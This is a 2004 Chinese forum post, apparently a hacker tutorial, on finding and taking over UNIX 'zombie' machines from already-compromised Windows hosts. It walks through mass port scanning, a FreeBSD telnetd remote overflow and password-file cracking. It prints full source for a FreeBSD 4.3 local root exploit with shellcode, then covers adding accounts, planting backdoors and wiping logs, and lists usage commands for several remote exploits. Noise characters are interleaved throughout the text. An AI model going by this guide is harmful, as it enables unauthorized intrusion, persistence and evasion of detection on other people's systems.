数学建模社区-数学中国

标题: 如何寻找自己的UNIX肉鸡 [打印本页]

作者: 韩冰    时间: 2004-10-5 18:33
标题: 如何寻找自己的UNIX肉鸡
今天的话题是怎么样找unix肉鸡,我想这对于一个有很多windows肉鸡而没有unix肉鸡的人是很有必要。
/ {8 [1 X& ~0 a2 c& Z8 n不罗嗦,直入正题。为什么说是我和x-laser一起找肉鸡呢?因为我们的一切操作全部是在3389肉鸡上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)
5 m% O" ~) c% l! s  W7 ?% r5 z8 t! }6 A" S: x& ?
    这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
! j2 Z' R5 H& Q9 T1 D( Y, f    下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix肉鸡。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。
' e+ s) Q" y+ d" K: v) J现在我们要做的是找出大量unix的肉鸡,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描
. z4 M! M, p: W: r3 s+ ?, |$ F1 ^6 t+ m" [: ]9 s: [3 T

, a3 |$ B% p/ m' S我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.如下
% j! O& i0 P% e, {3 p$ P! t9 A' `
& J7 E4 m1 ^  `# Q( f5 w我们扫到了两台linux,….. ..#..’是linux的判断符.& c& P, V* l$ i1 V& p* @4 j/ [
……..#..’..$则是sunos的判断符,如此等等,大家用用就有经验了.0 d+ a& W7 _: ?0 M+ i% S7 X0 ~

; C9 O2 R1 G; F* j8 `+ d5 q& @4 k; N* S2 A1 d7 w, t5 I6 }
言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。2 s  t; t. M4 K, j4 q( T) s; h8 s8 f
4 W8 S4 J) x) U" I2 R/ r
由于要发送16M的东西,所以可能会慢点
+ y: o% v, f5 v等到成功后,会出现 command ?7 V) Y, U+ f0 M$ ]: y
这是输入 id
& c, t, Q0 q! d可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
6 z7 |! U% m. p, {, badow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下  Q& ^8 E; D1 {1 {% v+ o. f

0 |7 ~- V' p- m9 Z, m6 n# [- w) c?受影响版本: FreeBSD 4.3 4.2 4.1 4.0 , \+ x8 g2 I1 m( X
早期版本也许受影响 测试程序使用方法:  </P>
: U4 H3 `% x. Hnetdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done #    </P>2 C, d) f. o$ w6 W5 S* g. B
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。 </P>+ q& C; j2 ?5 @1 m9 j1 }% g* S
题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c
' U2 ], T' }0 X# L' @
7 s9 ~' E* n0 ?& R    ???? /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http://www.guninski.com */ #include &lt;stdio.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; int vv1; #define MYSIG SIGINT //exec "/tm
+ f- c, w' B8 J' y' t  T1 `    p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"6 ^, x6 W2 {1 s, t3 D' J
); while(42); } </P>, v5 l- I2 Z1 u. o2 k# @$ }
/* www.xcode.tw.st 极端网络安全小组 */; e, G% B4 ^5 n. B3 _
/ {* D  F6 M4 p0 s) A
4 f' d7 s3 \# x# g* _" g. n( X4 U. e2 g
可以找到可写的地方,然后cat &gt;vv.c 回车. L* J6 e1 z  \
(鼠标右健粘贴)& c7 o2 H& h2 @: T1 g$ Y
ctrl + d保存
- ]! J$ z  v  A, Y# K* M$ F9 ^$gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)
# a- O% I# V  i9 R$cp /bin/csh /tmp
# b/ K" j, q. N. l8 f6 d# ~' F$./vv
* @1 G- C) J) ]+ j+ o1 s1 F这样就执行了,一般可以得到root.注意第二句,这是代码的需要' K0 B5 h4 S' O& A% u; \
然后就去adduser然后再放一堆后门上去吧4 _; X% r. Y! a% }
几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了
' g( Z& d  g, h! w& P2
$ B8 A8 C$ c, o, B& I& _( I8 i3 m.Whereis gcc查看装了gcc没有,whereis的用法很灵活
! J" k( i" t/ u% Q- [$ O8 `5 K3如果没装就需要把编译好的传上去,我们一般是申请一个ftp,然后编译好,传到ftp上,在让攻击的机子去下载(51.net的虚拟主机就可以完成这项任务)1 f6 n, P. Q9 |0 E! k- g9 B  F
4记得每次上去要用wipe清理足迹,wipe在小凤居有下载% M: M4 K( J0 T2 m9 ^+ z
 </P>- [  ?8 I9 ?8 j& O, |$ M3 T
另外再附几种常见的exploit的用法3 q0 H4 c9 A1 P  a$ E

( B" Z) v6 O" m6 z$ R/ @: B5 O, n1 F( ^/ u
目标主机一律用128.0.0.1代替! 1 statdu[vdp]redhat6.xrpc status远程溢出! </P>
/ ], r% {4 X+ p  G- s2 L) F溢出程序: statdx 用法: </P>+ b0 K1 ]+ x- Y
./statdx -d 0 128.0.0.1或者 </P>8 C/ L- N+ g' k
./statdx -d 1 128.0.0.1或者 </P>
6 h' u  @. p0 @$ n4 y./statdx -d 2 128.0.0.1 </P>
3 u: N" I2 c# q6 g. c  c& e. K2 sadmind[vdp]sun solaris sparc 2.6.2.7远程溢出 </P>3 S( U. ]  P( I
溢出程序: sadmindxbrute 用法 </P>" N; F1 F4 c; _8 ]
./sadmindxbrute (主机类型参数) 128.0.0.1 主机参数 1 x86 2.6 2 x86 7.0 3 sparc 2.6 4 sparc 7.0 3 ttdb[tcp]sun solaris 2.3 2.4 2.5 2.5.12.6远程溢出  </P>
3 E. ~7 U- \& ?8 v所用程序 ttds(已经改名)流光iv的exploit内可以找到 </P>3 B# k/ U; ?" j. n  l
用法: ./ttds 128.0.0.1 80(攻击断口设置为80)-v6 4 snmp[bdp]sun solaris sparc 7.0/8.8远程溢出 </P>- q( C! F/ R! ?" I" s& M) }, g/ l
所用程序 snmpxmid </P>
7 F( S+ q+ b! x3 D用法: ./snmpxmid 128.0.0.1 -v 7 5 bind 远程溢出 </P># s" j0 m# b1 Z0 x9 i" M! i- i
程序bind </P>
, C1 M  A* D6 }: W& u9 i: Z: K! y3 O用法: ./bind 128.0.0.1 -e 6 irix的telnet远程溢出(这个可能用流光iv扫描不到) </P>/ r. l$ }* E# C
所用程序telnetd </P>2 X, B$ J: D6 M1 t% @
用法: ./telnetd 128.0.0.1 7 utofsd[vdp]bsd autofsd远程溢出,tcp 530 root shell </P>
! g% |) q7 S& g% ]* P+ C) _( Z6 A所用程序 utofsd </P>
0 {9 {/ s) h" w* w) l用法: ./utofsd 128.0.0.1 8 freebsd远程溢出 </P>
8 r6 [$ ^0 \  @1 {( Q这个可以通过www.paching.net/liumy写的bsd攻击程序在winnt下使用方法 bsd 128.0.0.1 其他的远程溢出程序也不麻烦 你只要把程序编译好之后输入 ./程序名 --h就可以看到帮助了!. J  ?3 m' T$ I* m
3 X5 v; [9 v% }
   补充一点,很多写exploit的牛人为了让自己的exploit给真正的黑客用,故意在代码里放了几个错误,所以大家还是要学好编程的这样,就可以根据gcc编译器的错误提示把错误的代码改过来。今天我们讲了怎样找unix类肉鸡,当然还是要看运气,不过我和x-laser在3389肉鸡扫描很疯狂,用superscan一次一般是扫255个c段用languard也扫的很多,所以建议大家多多实践.最后,奉劝一句,不要入侵国内,不要搞破坏! </P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5